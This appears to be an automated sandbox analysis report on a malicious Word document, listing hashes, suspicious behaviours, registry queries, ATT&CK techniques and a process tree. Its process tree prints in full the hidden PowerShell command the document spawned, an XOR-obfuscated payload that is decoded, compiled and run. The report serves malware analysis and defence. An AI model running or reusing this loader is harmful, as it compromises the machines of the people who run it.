ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
133s
max time network
155s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

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General

Target

2020-02-06_210620.doc
Size

41KB
MD5

a7d5d6d88f2783eeb0c7b25a8b1865f4
SHA1

5dd475f8a7cb53191cb78bd0dcf6f66af6e12860
SHA256

c902e4a17130c0622e00a870fa826ba412f1b17785db41880e1165226f985c15
SHA512

a87741d8afe1c6ff1d558cca702408c5bf1cf6ddc5eccc604a579c9d939be71e3f1a03a2efc699df882f2e7e491d21430d592c03b7842342c14bb6179b70f7e7

Score

10^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXEpowershell.execsc.exe

description	pid	process	target process
PID 3948 wrote to memory of 3920	3948	WINWORD.EXE	powershell.exe
PID 3948 wrote to memory of 3920	3948	WINWORD.EXE	powershell.exe
PID 3920 wrote to memory of 2452	3920	powershell.exe	csc.exe
PID 3920 wrote to memory of 2452	3920	powershell.exe	csc.exe
PID 2452 wrote to memory of 2772	2452	csc.exe	cvtres.exe
PID 2452 wrote to memory of 2772	2452	csc.exe	cvtres.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3920 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

25 3920 powershell.exe

description	pid	process
Token: SeDebugPrivilege	3920	powershell.exe

flow	pid	process
25	3920	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

WINWORD.EXE

pid	process
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE
3948	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3948 WINWORD.EXE
3948 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3920	3948	powershell.exe	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3920 powershell.exe
3920 powershell.exe
3920 powershell.exe

pid	process
3920	powershell.exe
3920	powershell.exe
3920	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-06_210620.doc" /o ""
1⤵
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:3948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function qd432b7 {param($n275f)$h4a5a6='e7f3c';$cac32b1='';for ($i=0; $i -lt $n275f.length;$i+=2){$p5381e=[convert]::ToByte($n275f.Substring($i,2),16);$cac32b1+=[char]($p5381e -bxor $h4a5a6[($i/2)%$h4a5a6.length]);}return $cac32b1;} $qc8142 = '10440f5d0445641f4017005a5d46100c590113301c4412560e4b65135d170c5a031d2a0b4303410c15640341150c5403405810440f5d0445641f4017005a48770a0450085c10115e05405810440f5d0445641f4017005a487a2c5e42155a0d0217354a1011520b1d2d00435d3e691542045f0a0617055f0216444643025154574838215b0a7a0e155814474b475c03410d005b55014149720847111c67095a0d110a4474061167145c0024530241061644441a3e454713510f0c5446401704430f5043004f1256110b172f5d17354314130d005504045a5c1f2f5d17354314130d0300035656494412410a0b50465100010305024a5e6c225f0f2c5a165c11111f4458061759035f5057154a13260b43144a330a5e0847435817447f0c04532a5a011756144a414c6a464316075b0f5043164307470a0617034b17004508132a0b433647114554530600011f1547110c59011301520f53004a5e6c225f0f2c5a165c11111f4458061759035f5057154a13260b43144a330a5e08475e47610f411710560a63110a43035017471e3b131310550a5a0045441252170c5446561b1152145d430758095f431c0004505451054e7a0d116712414310060406055d034a662a0b43364711454e55575a521b46460a0b43465555000500044f4558134743105e084743070454000207034f0838215b0a7a0e155814474b477c03410d005b55014d015b0a114f45720847111c67095a0d110a446117097a09450628520b5c111c154a133000432a5210117214410c170a00520f16524f6e43164307470a0617034b1700450813150a5e02130b0102040b4b2c59126317171703570054534a7a0d11671241431353040b52495e0847430752550a564c0c164601095e0513101156125a00455e0847430d0100010750034e1a182c59126317171709505b010e535643581705065606534e420751045451544d1556075604065306025153560256070707114a4c0c0f554b0a545e575a50525b0e2a0b433647114b6d03410c4c4c015c170a17090b0050025d4e2a0b4336471145545e50545d03000e0d005504045a5c1f09505b010e53564f145352005107004e115151020702565056550353530250035b520657055356025703505106441a4a5e5e001b005d54510b57030a5b7a0d116712414d3f52145c4a1e5009470c45585e5056500c1b662a0b43364711455d535551030a4e662a0b433647114c025d460a0b43465b565c0052500658075d5a054d161f0401060052014b060f05045b51514a59560305001f531d03561f0c1043465b565c005250064c1e1d540c1158465c5b060253081e274e12563838171f015a560f500b5e1e071e005249071e550549071e0a53180c2f5d17354314131a5101005151510a2b5211165f075f4d245b0a5c002d700a5c01045b4e004a5e7a0741100d560a1d200a471f1b1a570e550b555d1b561f1a5101005151511b551a580d5353515b4d590344432c59126317171f050b00520f52554d31582f5d1753034e1a48554f560352071e4a4a57535104015749044f080c5d545306594560035120095e035d1745525f005707045b5d061217315601265b0f560d111f4f081011450f5d04454f510b5b5004510e260b410f410c0b5a035d174b700347250a5b0256113556125b4b2059105a110a590b560d1119354306065e075f250a5b0256114b7616430f0c5407470a0a59225217041e4d113f39425304025d03031148145352005107004e115707025402065001441a58000e5507015619225c140b5b095207235e0a564b145352005107004e11530103550251510457035603065e075a5156560552540355030550015703525702540302505156575355035202565453560353040207075a50075250510600070152545253515657070006525502525650500055015354525404505200500153530052565153005e00555356535156010757075b500157515355154f1f1b520f5e0650521e5d63110a5403401036430741172c59005c430e5250555b52065b5d06121736410c0652154030115614472a0b51091b1b520f5e0650521e5d63110a540340104b64125211111f0d5655030f51024a5e450347161759460358184713510f0c5446401704430f50431643145a0d0217175757560504044b1643145a0d02170b0100560e4f481011450f5d04455900040600025b110652515550415e4412410a0b504650565054020e3011450f5d044b720b43171c0c005c114d5e0847430c0a56080a595a5450505c192a560d02430e080a4e0a541a18074e1256430b520451545c0e5b700c0b410341174b6309711a11524e5e5106045f1d3010551547110c59011b0a49054f1f52531e5d5056505402185e4d540e52114c1f08560107005f0a433b17085554005253684b0c18541a4340170855540052531d2f005901470b381e5d4e11004313410d4554530600010c1b4e'; $qc81422 = qd432b7($qc8142); Add-Type -TypeDefinition $qc81422; [pa4c1]::h6f2d54();
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:3920

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lhy3a4h3\lhy3a4h3.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:2452

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES77C6.tmp" "c:\Users\Admin\AppData\Local\Temp\lhy3a4h3\CSC17E5F6B2604A463F8E4BB4569A4F2AA6.TMP"
4⤵
PID:2772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES77C6.tmp

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C:\Users\Admin\AppData\Local\Temp\lhy3a4h3\lhy3a4h3.dll

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\??\c:\Users\Admin\AppData\Local\Temp\lhy3a4h3\CSC17E5F6B2604A463F8E4BB4569A4F2AA6.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\lhy3a4h3\lhy3a4h3.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\lhy3a4h3\lhy3a4h3.cmdline

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